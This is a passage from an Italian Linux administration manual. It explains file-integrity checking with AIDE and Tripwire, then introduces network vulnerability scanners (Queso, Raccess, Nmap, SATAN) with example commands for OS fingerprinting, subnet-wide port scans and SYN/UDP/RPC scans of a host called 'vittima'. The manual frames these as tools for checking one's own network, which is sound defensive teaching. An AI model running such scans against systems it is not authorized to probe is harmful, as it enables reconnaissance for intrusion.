|= escludere il contenuto di una directory dalla scansione e dalla verifica.
Ciò che segue il primo carattere è inteso come un’espressione regolare che descrive uno o più percorsi di file e directory. All’interno di queste espressioni regolari, la barra obliqua normale,
‘/’, ha significato letterale.
Il confronto attraverso espressioni regolari avviene se tale gestione è stata inclusa in fase di compilazione, pertanto ciò potrebbe anche mancare, funzionando solo un confronto letterale.
L’espressione che segue rappresenta il tipo di controllo da attuare, attraverso l’indicazione di uno
o più gruppi. Questi «gruppi» sono parole chiave che definiscono in breve ciò che deve essere verificato; queste parole chiave possono essere unite assieme inserendo il simbolo ‘+’, ma può
essere usato anche il simbolo ‘-’ per sottrarre delle verifiche incluse precedentemente. La tabella 228.5 elenca i gruppi predefiniti e di seguito vengono mostrati alcuni esempi elementari:
312 volume IV Comunicare 2
|# Include la directory / e tutte le directory successive
|/ p+i+n+u+g+s+m+c+md5
|
|# Esclude la directory /dev/
|!/dev
|
|# Analizza esclusivamente la directory /tmp/ senza il suo contenuto
|=/tmp
Tabella 228.5. Elenco dei gruppi predefiniti.
Simbolo Descrizione
|p Verifica dei bit dei permessi.
|i Verifica del numero di inode.
|n Numero di collegamenti fisici.
|u Utente proprietario.
|g Gruppo proprietario.
|s Dimensione.
|b Conteggio dei blocchi.
|m Data di modifica.
|a Data di accesso.
|c Data di modifica dell’inode.
|S Incremento di dimensione.
|md5 Firma MD5.
|sha1 Firma SHA1.
|rmd160 Firma RMD160.
|tiger Firma Tiger.
|crc32 Firma CRC-32 (se incluso in fase di compilazione).
|haval Firma Haval (se incluso in fase di compilazione).
|gost Firma Gost (se incluso in fase di compilazione).
|R Equivalente a ‘p+i+n+u+g+s+m+c+md5’.
|L Equivalente a ‘p+i+n+u+g’.
|E Gruppo vuoto.
|> File delle registrazioni ‘p+i+n+u+g+S’.
Verifica dell’integrità dei file 313
In precedenza è stata descritta la possibilità di definire dei gruppi aggiuntivi nell’ambito delle direttive di configurazione. La sintassi di questa direttiva particolare è la seguente:
|
|nome_gruppo = gruppo_esistente[{+|-}gruppo_esistente]...
|
In pratica, il segno ‘+’ aggiunge il controllo del gruppo che precede, mentre il segno ‘-’ sottrae il controllo del gruppo che precede. A titolo di esempio, viene mostrata la definizione di un gruppo
personalizzato, in cui si utilizza il gruppo predefinito ‘R’ senza la verifica della firma MD5:
|Personale = R-md5
Successivamente si può utilizzare esattamente come i gruppi predefiniti:
|/usr Personale
È da osservare che i nomi usati nelle direttive di configurazione sono sensibili alla differenza tra maiuscole e minuscole.
Esempio Descrizione
|/etc p+i+n+u+g+s+m+c+md5
Verifica la directory ‘/etc/’ e tutto il suo contenuto in modo ricorsivo, verificando: i bit dei permessi, i numeri di inode,
i riferimenti agli inode, i numeri UID e GID, le date di
modifica, le date di creazione degli inode e la firma MD5.
|/etc R
Esattamente come nell’esempio precedente, dal momento che
il gruppo riassuntivo ‘R’ rappresenta le stesse cose.
|/etc R+sha1
Come nell’esempio precedente, aggiungendo il controllo
della firma SHA1.
|!/home/pippo
Esclude qualunque verifica a partire dal percorso ‘/home/
pippo/’.
|=/tmp R
Verifica esclusivamente la directory ‘/tmp/’, senza analizzarne
il contenuto.
228.1.2 Utilizzo
Il programma ‘aide’ è quello che svolge il compito di scansione e verifica dell’integrità dei file e delle directory specificati nel file di configurazione. Si distinguono tre situazioni: la creazione del
file contenente le informazioni sulla situazione attuale di ciò che si vuole tenere sotto controllo;
l’aggiornamento di queste informazioni in presenza di modifiche volontarie da parte dell’amministratore;
la verifica di integrità, cioè il confronto di queste informazioni con la situazione attuale.
|
|aide [opzioni]|
A seconda di come viene compilato il programma, si stabilisce la collocazione predefinita e il nome del file di configurazione e del file di registrazione delle informazioni. In generale, conviene utilizzare le opzioni necessarie a specificare tali file, quando queste sono disponibili.
314 volume IV Comunicare 2
È da osservare che AIDE distingue nettamente tra il file contenente le informazioni accumulate in precedenza e quello che viene generato dall’elaborazione. In generale si fa riferimento
a ‘aide.db’ per le informazioni originali e ‘aide.db.new’ per quelle che vengono generate nuovamente. Una volta generato un file nuovo, è compito dell’amministratore cambiargli nome o spostarlo opportunamente. Naturalmente, questa considerazione vale anche quando si usa l’opzione ‘--update’ per aggiornare un elenco vecchio, nel qual caso AIDE usa entrambi i file: uno in lettura e l’altro in scrittura.
Opzione Descrizione
|--init
Genera il file delle informazioni da conservare, in base alle
specifiche della configurazione.
|--update
Aggiorna il file delle informazioni (legge quello vecchio e ne
genera uno nuovo).
|--check
Verifica l’integrità dei file secondo le informazioni accumulate
in precedenza, informando l’utente di conseguenza.
|--config=file_di_configurazione Consente di indicare esplicitamente il file di configurazione da utilizzare.
• # aide --init --config=/root/aide.conf [ Invio ]
Genera il file di raccolta delle informazioni, utilizzando un nome predefinito in base alla compilazione dei sorgenti, oppure in base alla configurazione, che in questo caso viene indicato espressamente come ‘/root/aide.conf’.
• # aide --update --config=/root/aide.conf [ Invio ]
Genera un nuovo file di raccolta delle informazioni aggiornato. Il file di configurazione utilizzato è ‘/root/aide.conf’.
• # aide --check --config=/root/aide.conf [ Invio ]
Esegue una verifica di integrità, utilizzando il file di configurazione ‘/root/aide.conf’.
228.2 Tripwire
Tripwire 2 è un altro programma per la verifica dell’integrità dei file attraverso il confronto con le informazioni accumulate precedentemente. Vengono segnalate le aggiunte, le rimozioni e le
alterazioni di file e directory.
Tripwire utilizza un file di configurazione (collocato in una directory da definire), che qui viene indicato come ‘tw.config’, in modo da seguire la convenzione della documentazione interna di Tripwire.
Come si può intuire, una volta generato il file con le informazioni della situazione attuale del file system, è necessario proteggerlo dalle alterazioni, collocandolo in un file system in sola lettura
(come potrebbe essere un dischetto, dove la protezione dalla scrittura viene fatta con un’azione manuale e non può essere modificata elettronicamente). Meglio sarebbe se potesse essere anche nascosto in qualche modo. Nello stesso modo, se possibile, sarebbe opportuno nascondere il file di configurazione.
Tripwire non è un pacchetto che si possa trovare in tutte le distribuzioni GNU. È decisamente improbabile che possa trovarsi all’interno delle distribuzioni di origine USA. Tuttavia, data la particolarità del programma, non è molto importante disporre di un pacchetto specifico per Verifica dell’integrità dei file 315
la propria distribuzione; l’eseguibile ‘tripwire’ e il file di configurazione vanno collocati da qualche parte, in modo da non essere individuati facilmente.
228.2.1 Configurazione di Tripwire
Per comprendere il funzionamento di Tripwire, è più conveniente vedere prima la sua configurazione attraverso il file ‘tw.config’ (o qualunque altro nome si decida di utilizzare).
Lo scopo di questo è di elencare i file e le directory che si vogliono tenere sotto controllo, indicando quali dettagli considerare su questi elementi. Nel file di configurazione possono essere usate anche direttive di pre-elaborazione, per selezionare elenchi differenti in presenza di situazioni determinate. In questa sezione viene ignorata tale particolarità; eventualmente si può consultare la pagina di manuale tw.config(5).
Il formato delle direttive attraverso cui si dichiara l’inclusione o l’esclusione di un file o di una directory, è quello seguente. In particolare, i commenti sono preceduti dal simbolo ‘#’ e conclusi
dal codice di interruzione di riga; inoltre le righe bianche e quelle vuote sono ignorate.
|
|[!|=]voce [parametro_riassuntivo][+parametri_di_selezione-parametri_di_selezione]|
Dal momento che si tratta di qualcosa di insolito rispetto alle direttive che si possono incontrare nei file di configurazione di altri programmi, conviene vedere subito un paio di esempi, senza descriverli.
|# Include la directory /
|/ +pinugsm12-ac3456789
|
|# Esclude la directory /tmp/
|!/tmp
Il simbolo iniziale, facoltativo, serve a:
|! escludere completamente un file, o una directory e tutto il suo contenuto, dalla scansione e dalla verifica;
|= escludere il contenuto di una directory dalla scansione e dalla verifica.
Se non viene indicato alcuno di questi due simboli, si intende verificare il file, o la directory e tutto il suo contenuto in modo ricorsivo.
I parametri di selezione sono dei simboli rappresentati attraverso una singola lettera alfabetica minuscola, o una singola cifra numerica. Ognuno di questi simboli rappresenta l’utilizzo o meno di un’analisi particolare sull’oggetto da verificare: i simboli sono preceduti dal segno ‘+’, o dal segno ‘-’, a seconda che si voglia includere o escludere quell’analisi particolare.
Solitamente vengono posti inizialmente i simboli da includere, tutti assieme, dopo un segno ‘+’, quindi quelli da escludere, dopo un solo segno ‘-’, come nel caso di ‘+pinugsm12-ac3456789’.
La tabella 228.12 elenca questi simboli.
316 volume IV Comunicare 2
Tabella 228.12. Elenco dei parametri di selezione.
Simbolo Descrizione
|p Verifica dei bit dei permessi.
|i Verifica del numero di inode.
|n Numero di collegamenti fisici.
|u Utente proprietario.
|g Gruppo proprietario.
|s Dimensione.
|> Incremento di dimensione.
|a Data-orario dell’ultimo accesso.
|m Data-orario dell’ultima modifica.
|c Data-orario della creazione o modifica dell’inode.
|0 Firma nulla.
|1 MD5, RSA Data Security, Inc. Message Digesting Algorithm.
|2 Snefru, Xerox Secure Hash Function.
|3 CRC-32, POSIX 1003.2.
|4 CRC-16
|5 MD4, RSA Data Security, Inc. Message Digesting Algorithm.
|6 MD2, RSA Data Security, Inc. Message Digesting Algorithm.
|7 SHA, NIST Secure Hash Algorithm (NIST FIPS 180).
|8 Haval (128-bit).
|9 Firma nulla (riservato per uso futuro).
I parametri di selezione riassuntivi, sono identificati attraverso una sola lettera maiuscola, senza
essere preceduti dal segno ‘+’ o ‘-’. Possono essere usati da soli, o al massimo seguiti da una serie
di parametri di selezione che ne modificano l’effetto. La tabella 228.13 elenca questi simboli.
Verifica dell’integrità dei file 317
Tabella 228.13. Elenco dei parametri di selezione riassuntivi.
Simbolo Descrizione
|R Sola lettura (‘+pinugsm12-ac3456789’), predefinito.
|L File delle registrazioni (‘+pinug-samc123456789’).
|N Verifica tutto (‘+pinugsamc123456789’).
|E Ignora tutto (‘-pinugsamc123456789’).
|> Incremento monotonico (‘+pinug>-samc123456789’).
Segue la descrizione di alcuni esempi.
• |/etc +pinugsm12-ac3456789
Verifica la directory ‘/etc/’ e tutto il suo contenuto in modo ricorsivo, verificando: i bit dei permessi, i numeri di inode, i riferimenti agli inode, i numeri UID e GID, le date di modifica, la firma in base al tipo MD5 e Snefru. Viene ignorata la data di accesso, la data di creazione o modifica dell’inode e tutti gli altri tipi di firma.
• |/etc R
Esattamente come nell’esempio precedente, dal momento che il parametro riassuntivo ‘R’ rappresenta le stesse cose.
• |/etc
Esattamente come nell’esempio precedente, dal momento che il parametro riassuntivo ‘R’
è quello predefinito.
• |/home/pippo E+ug
Verifica esclusivamente la proprietà dei file (utente e gruppo), come eccezione del parametro riassuntivo ‘E’, che da solo escluderebbe tutti i controlli.
• |/home/pippo E
Esclude tutti i controlli, ma continua a verificare l’aggiunta o la cancellazione di file.
• |!/home/pippo
Esclude qualunque verifica, ignorando anche l’aggiunta o la cancellazione di file.
• |=/tmp
Verifica esclusivamente la directory ‘/tmp/’, senza analizzarne il contenuto.
318 volume IV Comunicare 2
228.2.2 Avvio del programma
‘tripwire’ è l’eseguibile che svolge il compito di scansione e verifica dell’integrità dei file e delle directory specificati nel file di configurazione.
|
|tripwire [opzioni]|
Si distinguono tre situazioni: la creazione del file contenente le informazioni sulla situazione attuale di ciò che si vuole tenere sotto controllo; l’aggiornamento di queste informazioni in presenza
di modifiche volontarie da parte dell’amministratore; la verifica di integrità, cioè il confronto di queste informazioni con la situazione attuale.
A seconda di come viene compilato il programma, si stabilisce la collocazione predefinita e il nome del file di configurazione e del file di registrazione delle informazioni. In generale, conviene utilizzare le opzioni necessarie a specificare tali file.
Segue la descrizione di alcune opzioni; se non vengono utilizzate le opzioni ‘-initialize’
e ‘-update’, ‘tripwire’ si mette automaticamente a verificare l’integrità dei file secondo le informazioni accumulate in precedenza.
Opzione Descrizione
|-initialize
Genera il file delle informazioni da conservare, in base alle
specifiche della configurazione.
|-update percorso_assoluto Aggiorna le informazioni già esistenti per quanto riguarda la
directory o il file indicato come argomento.
|-interactive
Inizia la verifica dell’integrità dei file secondo le informazioni
accumulate in precedenza e chiede all’utente la conferma o
meno della modifica di queste in modo conforme alla nuova
situazione trovata.
|-loosedir
Può essere utilizzato in fase di verifica per annullare il controllo
delle directory, pur mantenendo il controllo del loro
contenuto, se questo è indicato nella configurazione. Ciò serve
per ridurre la quantità di segnalazioni che si presentano,
quando questo può generare solo confusione. In generale, il
rischio di perdere informazioni importanti aumenta, ma alle
volte l’eccesso può essere dannoso.
|-d file
In fase di verifica dell’integrità dei dati, permette di specificare
il file contenente le informazioni raccolte in precedenza. Si
può utilizzare un trattino singolo ‘-’ per fare riferimento allo
standard input.
|-c file_di_configurazione
Permette di specificare il file di configurazione, sia in fase di
generazione e aggiornamento delle informazioni da conservare,
sia in fase di verifica. Si può utilizzare un trattino singolo
‘-’ per fare riferimento allo standard input.
|-v Emette l’elenco dei nomi di file nel momento in cui avviene
la scansione.
Segue la descrizione di alcuni esempi.
• # tripwire -initialize -c /root/tw.config [ Invio ]
Genera il file di raccolta delle informazioni, utilizzando un nome predefinito in base alla compilazione dei sorgenti, collocandolo probabilmente nella directory ‘./databases/’
Verifica dell’integrità dei file 319
(cioè a partire dalla directory corrente nel momento dell’avvio del programma). Il file di configurazione utilizzato è ‘/root/tw.config’.
• # tripwire -update /etc -c /root/tw.config [ Invio ]
Aggiorna il file di raccolta delle informazioni (si fa sempre riferimento al nome predefinito in base alla compilazione dei sorgenti, collocato probabilmente nella directory ‘./
databases/’) per le variazioni fatte nella directory ‘/etc/’. Il file di configurazione utilizzato è ‘/root/tw.config’.
• # tripwire -interactive -c /root/tw.config -d /root/tw.db [ Invio ]
Esegue una verifica di integrità interattiva, utilizzando il file di configurazione ‘/root/tw.config’ e il file ‘/root/tw.db’ per il confronto rispetto alla situazione attuale.
• # tripwire -interactive -c /root/tw.config -d - < /mnt/floppy/tw.db [ Invio ]
Esegue una verifica di integrità interattiva, utilizzando il file di configurazione ‘/root/tw.config’ e il file ‘/mnt/floppy/tw.db’ (che probabilmente si trova in un dischetto
protetto contro la scrittura) per il confronto rispetto alla situazione attuale.
228.2.3 Configurazione e utilizzo in pratica
Per poter usare Tripwire in modo utile, la prima cosa da fare è studiare la sua configurazione, tenendo conto delle peculiarità del file system. Volendo un controllo generalizzato, bisogna però tenere conto delle aree in cui i dati cambiano continuamente per motivi fisiologici. Quello che segue è un esempio, un po’ approssimativo, di una configurazione funzionante, anche se un po’ blanda.
|# Include il controllo di tutto il file system.
|/ +pinugsm14-ac2356789
|
|# Esclude i file di dispositivo
|!/dev
|
|# Esclude alcuni file dinamici nella directory /etc/.
|!/etc/issue
|!/etc/issue.net
|!/etc/ioctl.save
|!/etc/mtab
|!/etc/ntp.drift
|!/etc/ld.so.cache
|!/etc/snmpd.agentinfo
|!/etc/ssh_random_seed
|!/etc/mail/sendmail.st
|
|# Esclude le directory personali.
|!/home
|
|# Esclude i file riferiti ai moduli che vengono aggiornati a ogni
|# avvio del sistema.
|!/lib/modules/preferred
|!/lib/modules/2.0.34-1/modules.dep
|
|# Esclude la directory /proc/.
320 volume IV Comunicare 2
|!/proc
|
|# Esclude la directory /root/, ma poi aggiunge qualcosa che è
|# comunque opportuno controllare.
|!/root
|/root/bin
|/root/.ssh
|
|# Esclude la directory temporanea.
|!/tmp
|
|# Esclude i file whatis.
|!/usr/X11R6/man/whatis
|!/usr/lib/perl5/man/whatis
|!/usr/local/man/whatis
|!/usr/man/whatis
|
|# Esclude la directory /var/.
|!/var
Di sicuro, si potrebbe fare meglio, studiando in modo più dettagliato ogni directory e file del file system da controllare.
Quando si utilizza Tripwire per difendersi da una possibile intrusione nel sistema, è necessario nascondere il file di configurazione, anche se non sempre è facile farlo. Di certo, un modo è quello di conservarlo in un dischetto. Anche il file di registrazione delle informazioni dovrebbe essere archiviato in un posto sicuro e inaccessibile agli «intrusi»; anche in questo caso, il dischetto è
l’unica possibilità concreta che hanno tutti.
A titolo di esempio si suppone di avere collocato l’eseguibile ‘tripwire’ e il file di configurazione ‘tw.config’ nella directory ‘/root/adm/tripwire/’.
# cd /root/adm/tripwire [ Invio ]
# ./tripwire -initialize -c ./tw.config [ Invio ]
|### Phase 1: Reading configuration file
|### Phase 2: Generating file list
|### Phase 3: Creating file information database
|###
|### Warning: Database file placed in ./databases/tw.db_dinkel.brot.dg.
|###
|### Make sure to move this file and the configuration
|### to secure media!
|###
|### (Tripwire expects to find it in ’/var/adm/tripwire/db’.)
Come si può osservare dal messaggio che si ottiene, è stato creato il file ‘./databases/
tw.db_dinkel.brot.dg’ contenente le informazioni raccolte, dove la parte finale del nome del file, «dinkel.brot.dg» è il nome del nodo. Nel messaggio stesso, viene ricordato di spostare sia il file di configurazione che il file di registrazione delle informazioni (viene chiamato database) in un’unità «sicura». Per esempio, si potrebbe comprimere questo file per poterlo contenere in un dischetto, come nell’esempio seguente:
Verifica dell’integrità dei file 321
# gzip ./databases/tw.db_dinkel.brot.dg [ Invio ]
# mount /mnt/floppy [ Invio ]
# cp ./databases/tw.db_dinkel.brot.dg.gz /mnt/floppy [ Invio ]
# rm ./databases/tw.db_dinkel.brot.dg.gz [ Invio ]
# cp ./tw.config /mnt/floppy [ Invio ]
# rm ./tw.config [ Invio ]
# umount /mnt/floppy [ Invio ]
L’esempio è soltanto esplicativo. Il dischetto non è un supporto tecnicamente affidabile, di conseguenza occorre conservare in qualche modo migliore almeno il file di configurazione.
Nel momento del controllo, si può reinnestare il dischetto ed eseguire una scansione di controllo.
# mount /mnt/floppy [ Invio ]
# gzip -d < /mnt/floppy/tw.db_dinkel.brot.dg.gz | Ã-
,!tripwire -c /mnt/floppy/tw.config -d - [ Invio ]
|### Phase 1: Reading configuration file
|### Phase 2: Generating file list
|### Phase 3: Creating file information database
|### Phase 4: Searching for inconsistencies
|###
|### Total files scanned: 10650
|### Files added: 0
|### Files deleted: 0
|### Files changed: 10650
|###
|### After applying rules:
|### Changes discarded: 10649
|### Changes remaining: 2
|###
|changed: drwxr-xr-x root 3072 Sep 29 12:17:45 1998 /etc
|changed: -rw-r--r-- root 62 Sep 29 12:17:45 1998 /etc/exports
|### Phase 5: Generating observed/expected pairs for changed files
|###
|### Attr Observed (what it is) Expected (what it should be)
|### =========== ============================= =============================
|/etc
| st_mtime: Tue Sep 29 12:17:45 1998 Tue Sep 29 12:13:30 1998
|
|/etc/exports
| st_ino: 4100 4150
| st_size: 62 22
| st_mtime: Tue Sep 29 12:17:45 1998 Tue Sep 29 12:13:30 1998
| md5 (sig1): 3TsxXpVgza:NQutDYSbVIm 1QLSacLNpOIOF6iUqeUo.m
| crc16 (sig4): 0008f5 0007e.
L’esempio mostra che dal controllo di integrità risulta variato il file ‘/etc/exports’: il numero 322 volume IV Comunicare 2
di inode è cambiato e così anche la data di modifica, la dimensione è aumentata e le firme utilizzate (MD5 e CRC-16) sono ovviamente differenti. Anche la directory ‘/etc/’ risulta modificata,
ma questo sembra essere solo una conseguenza dell’alterazione di questo file.
228.2.4 Uso delle firme
La firma, utilizzando uno o più dei vari metodi elencati nella descrizione della configurazione di Tripwire, serve a verificare che il file o la directory siano sempre gli stessi. La scelta della complessità
della firma dipende dalla gravità o meno del problema che ha la sicurezza nel contesto per il quale si utilizza. Di solito ne vengono usate almeno due; se ci si accontenta, si possono usare anche firme piuttosto piccole e semplici. La scelta di firme elementari, riduce il livello di sicurezza, ma anche il peso dell’elaborazione necessaria.
Appunti di informatica libera 2005.09.23 anteprima --- Copyright Ó 2000-2005 Daniele Giacomini -- hdaniele (ad) swlibero·org i, hdaniele·giacomini (ad) poste·it i ---
questa è un’edizione di prova dell’opera, contenente sezioni incomplete o scritte in modo frettoloso; si prega di segnalare i difetti riscontrati, di qualunque
genere essi siano, e si chiede gentilmente di non diffondere questa edizione, in attesa di quella standard
1 AIDE GNU GPL
2 Tripwire software non libero: non è consentita la commercializzazione a scopo di lucro
323
Capitolo 229
Verifica della vulnerabilità della propria rete
Sono disponibili alcuni applicativi in grado di sondare una rete, o un elaboratore singolo, alla ricerca di informazioni e di problemi noti che possono consentire a un aggressore di compiere delle azioni indesiderabili.
I programmi di questo tipo sono strumenti di aggressione, ma lo scopo dovrebbe essere quello di aiutare gli amministratori a prevenire problemi nella sicurezza della rete di propria competenza.
Di conseguenza, tali programmi vanno utilizzati esclusivamente contro sistemi che rientrano nella propria gestione, o per i quali è stata ottenuta l’autorizzazione a farlo.
L’utilizzo di questo genere di programmi lascia normalmente delle tracce nel registro del sistema del nodo analizzato, pertanto queste azioni potrebbero anche essere considerate un’attività ostile e scatenare la reazione degli amministratori rispettivi.
229.1 Queso
Queso, 1 è un programma che, attraverso l’invio di pacchetti TCP a una porta qualunque (purché ci sia qualcosa in ascolto) di un certo nodo, cerca di determinarne il sistema operativo. Teoricamente,
la scelta della porta è indifferente, purché si tratti di una porta presso cui sia disponibile un servizio in ascolto; comunque, se non viene specificata si fa riferimento alla numero 80.
|
|queso [opzioni] indirizzo_ipv4[/n][:porta]|
L’indirizzo, se è seguito da una barra obliqua e da un numero, rappresenta un gruppo di nodi da sondare, dove ciò che segue la barra obliqua è la maschera di rete espressa come quantità di bit
a uno da considerare nell’indirizzo. Se l’indirizzo è seguito da due punti e un numero, si intende fare riferimento esplicito a una certa porta da usare per le prove.
Queso ha la necessità di funzionare con i privilegi dell’utente ‘root’.
Segue la descrizione di alcuni esempi:
• # queso 192.168.1.2 [ Invio ]
Cerca di determinare con quale sistema operativo funziona il nodo 192.168.1.2.
• # queso 192.168.1.0/24 [ Invio ]
Cerca di determinare con quale sistema operativo funzionano i nodi 192.168.1.*.
• # queso 192.168.1.2:111 [ Invio ]
Cerca di determinare con quale sistema operativo funziona il nodo 192.168.1.2, utilizzando per questo la porta 111.
Le informazioni in base alle quali è possibile individuare di che tipo di sistema operativo si tratta, sono contenute nel file di configurazione, che corrisponde a ‘/etc/queso.conf’. Si comprende intuitivamente come è organizzato questo file, osservando quanto già contiene; se si incontra un tipo di risposta imprevisto, si può aggiornare il file configurazione con l’opzione ‘-w’, andando
poi a ritoccare l’annotazione aggiunta con la descrizione del sistema, che si presume conoscere per altre vie:
324 volume IV Comunicare 2
|*- Unknown OS @ 192.168.1.1:80
|0 1 +1 1 SA
|1 0 0 0 R
|2 - - - -
|3 0 0 0 R
|4 1 +1 1 SA
|5 - - - -
|6 1 +1 1 SA
L’esempio rappresenta ciò che si può ottenere in questi casi, in coda al file. È sufficiente modificare la prima riga, in un modo simile a quello seguente:
|*- GNU/Linux, kernel 2.4.19
|0 1 +1 1 SA
|1 0 0 0 R
|2 - - - -
|3 0 0 0 R
|4 1 +1 1 SA
|5 - - - -
|6 1 +1 1 SA
229.2 Raccess
Raccess, 2 ovvero Remote Access Session, è un programma molto semplice per la scansione di un elaboratore o di una rete di elaboratori, alla ricerca di problemi. Il suo utilizzo è molto semplice:
|
|raccess [opzioni] nodo
|
|
|raccess [opzioni] -n indirizzo_ipv4/n
|
L’uso normale di Raccess prevede di sondare un solo nodo, mentre l’opzione ‘-n’ consente di indicare un indirizzo IPv4 seguito dalla maschera di rete espressa come quantità di bit iniziali da considerare. Se Raccess si avvia con l’opzione ‘-s’ si ottiene la verifica dei servizi di rete disponibili, senza la ricerca di difetti specifici insiti in una certa versione di un certo servizio.
Segue la descrizione di alcuni esempi.
• $ raccess 192.168.1.2 [ Invio ]
Verifica le debolezze eventuali del nodo corrispondente all’indirizzo 192.168.1.2. Si ottiene l’elenco dei servizi che sembrano essere disponibili, con le informazioni che questi forniscono, inoltre viene offerta la possibilità di controllare la presenza di carenze specifiche
(exploit).
• $ raccess -n 192.168.1.1/24 [ Invio ]
Esegue una scansione ricorsiva a partire dal nodo 192.168.1.1, per tutti gli indirizzi 192.168.1.*.
Verifica della vulnerabilità della propria rete 325
Il funzionamento di Raccess richiede comunque una forma di interazione con l’utente; in particolare, al termine dell’analisi di ogni nodo, viene chiesto se conservare o cancellare il file contenente
il rapporto generato. Questo file viene creato nella directory corrente, con un nome corrispondente all’indirizzo dell’elaboratore sondato. Per esempio, il file ‘192.168.1.2’ contiene le notizie raccolte a proposito del nodo che ha lo stesso indirizzo. Ecco come si può presentare il contenuto di questo file:
|---------192.168.1.2 Report--------
|
|--Service ssh Port 22 opened!!--
|SSH-1.99-OpenSSH_3.4p1 Debian 1:3.4p1-2.1
|
|--Service telnet Port 23 opened!!--
|--Service smtp Port 25 opened!!--
|220 roggen.brot.dg ESMTP Exim 3.35 #1 Thu, 14 Nov 2002 15:34:31 +0100
|
|--Service www Port 80 opened!!--
|Server: Boa/0.94.11
|
|--Service sunrpc Port 111 opened!!--
229.3 Nmap
Nmap, 3 è un programma di scansione delle porte di uno o più nodi di rete, che mette a disposizione tecniche differenti per determinare se ci sono servizi disponibili e se ci sono firewall, o comunque altri sistemi che filtrano il passaggio delle comunicazioni. Per la precisione, Nmap distingue tre situazioni:
1. porte a cui corrisponde un servizio che accetta la connessione;
2. porte filtrate da qualcosa, per le quali non si può determinare se esista effettivamente un servizio disponibile;
3. porte inutilizzate, nel senso che non sono abbinate ad alcun servizio di rete, in modo certo.
Nmap si compone in pratica dell’eseguibile ‘nmap’, che può essere usato secondo la sintassi generale seguente:
|
|nmap [metodo_di_scansione] [opzioni] {nodo|rete}...
|
In pratica, si può specificare un metodo, o più metodi di scansione; se non lo si fa, viene usato quello predefinito che comporta la determinazione dei servizi disponibili, in base al fatto che
questi accettano la connessione. Dopo altre opzioni particolari si indicano uno o più gruppi di nodi, secondo varie possibilità. Per la precisione, un gruppo di indirizzi può essere specificato attraverso il nome di dominio:
|
|nome_di_dominio[/n]|
In questo modo, si fa riferimento al nodo indicato per nome e se appare anche una barra obliqua seguita da un numero intero, si intende includere nella scansione tutti i nodi che rientrano in
326 volume IV Comunicare 2
quella maschera di rete. Per esempio, se dinkel.brot.dg corrispondesse all’indirizzo IPv4 1.2.3.4, scrivere ‘dinkel.brot.dg/24’ significa fare riferimento a tutti gli indirizzi 1.2.3.*.
Se si utilizzano indirizzi numerici è possibile avvalersi di asterischi per indicarne un gruppo.
Gli asterischi possono essere collocati in qualunque posizione e, nel caso indirizzi IPv4, rappresentano qualunque valore nell’ambito dell’ottetto. Naturalmente, dal momento che l’asterisco è utilizzato normalmente dalla shell per fare riferimento a nomi di file che si trovano nel file system, questo va protetto in qualche modo.
Come accennato sono disponibili molti tipi diversi di metodi di scansione, ma per poterli apprezzare occorre conoscere bene le caratteristiche dei protocolli TCP/IP. L’elenco seguente ne riepiloga alcuni, ma per una descrizione completa e più dettagliata è necessario leggere la pagina di manuale nmap(1).
Opzione di scansione
Descrizione
|-sS Esegue una scansione di tipo TCP SYN, che è quella predefinita se l’utente è
‘root’.
|-sT
Esegue una scansione «normale», attraverso la funzione ‘connect()’ del sistema operativo, che è quella predefinita se richiesta da un utente comune senza privilegi.
|-sF Scansione di tipo TCP FIN.
|-sX Scansione nota come Xmas tree.
|-sN Scansione nota come Null scan.
|-sP
Scansione attraverso l’invio di richieste di eco ICMP (ping); serve soltanto per determinare la presenza dei nodi ipotizzati.
|-sU Scansione alla ricerca di servizi UDP.
|-sO Scansione IP, per determinare quali protocolli IP sono disponibili.
|-sA
Scansione TCP ACK, per determinare la presenza di un firewall e delle sue
caratteristiche generali.
|-sW Scansione Window, intesa come una variante del metodo ottenuto con l’opzione
‘-sA’.
|-sR
Scansione RPC, da abbinare a un altro metodo di scansione, per determinare se le porte di servizi disponibili corrispondono a servizi RPC.
Tra le opzioni che non servono a specificare dei metodi di scansione ce ne sono due di molto utili:
Opzione Descrizione
|-O Cerca di determinare il sistema operativo utilizzato nei nodi oggetto di indagine.
|-p gruppo_porte
Limita il gruppo di porte che si vogliono scandire. Il gruppo di porte può essere
indicato come un elenco separato da virgole o attraverso degli intervalli separati
da un trattino medio.
|-v Dà maggiori dettagli sul lavoro che viene svolto.
Segue la descrizione di alcuni esempi.
• $ nmap vittima.brot.dg [ Invio ]
Verifica della vulnerabilità della propria rete 327
Esegue una scansione «normale» sul nodo corrispondente al nome vittima.brot.dg.
• $ nmap ’192.168.*.*’ [ Invio ]
Esegue una scansione «normale» su tutti i nodi della rete 192.168.*.*.
• # nmap -sU vittima.brot.dg [ Invio ]
Tenta di determinare le porte UDP abbinate a qualche servizio presso il nodo specificato.
Si osservi il fatto che si può usare questa opzione solo in qualità di utente ‘root’.
• # nmap -sS -sR vittima.brot.dg [ Invio ]
Tenta di determinare le porte TCP abbinate a servizi RPC presso il nodo specificato, attraverso una prima scansione di tipo TCP SYN.
• # nmap -sU -sR vittima.brot.dg [ Invio ]
Tenta di determinare le porte UDP abbinate a servizi RPC presso il nodo specificato.
Eventualmente è disponibile anche un programma frontale per l’uso di Nmap attraverso un’interfaccia grafica. Si tratta di ‘nmapfe’, che ha l’aspetto visibile nella figura successiva.
328 volume IV Comunicare 2
Figura 229.6. Nmap attraverso l’interfaccia grafica offerta da ‘nmapfe’.
229.4 SATAN o SANTA
SATAN 4 (Security administration tool for analyzing networks, ovvero SANTA, per chi lo preferisce), è un vecchio applicativo in grado di scandagliare uno o più elaboratori connessi in rete
allo scopo di verificarne le debolezze.
SATAN è un lavoro superato, che ha soprattutto un valore storico.
SATAN è un pacchetto applicativo composto da una serie di eseguibili binari, ognuno specifico per un tipo di verifica, una serie di programmi Perl e una serie di moduli HTML. In teoria si potrebbe usare SATAN esclusivamente attraverso un programma per la navigazione, ma per ottenere questo si va incontro a una serie di complicazioni che forse non è il caso di affrontare, per il semplice fatto che non ne vale la pena e il risultato pratico non cambia. In queste sezioni viene mostrato come utilizzare SATAN, specificando quanto serve per avviare la scansione attraverso la riga di comando e come analizzare il risultato ottenuto attraverso un navigatore.
Verifica della vulnerabilità della propria rete 329
229.4.1 Preparazione
SATAN non viene distribuito in forma già compilata. Si tratta di un pacchetto rivolto a persone esperte, per cui, reperire SATAN in forma già compilata e pronta da installare, è solo un sintomo sospetto di una possibile manomissione.
La versione originale di SATAN potrebbe offrire delle difficoltà impreviste alla compilazione nei sistemi GNU/Linux. A questo proposito esistono delle versioni accompagnate da file di differenze
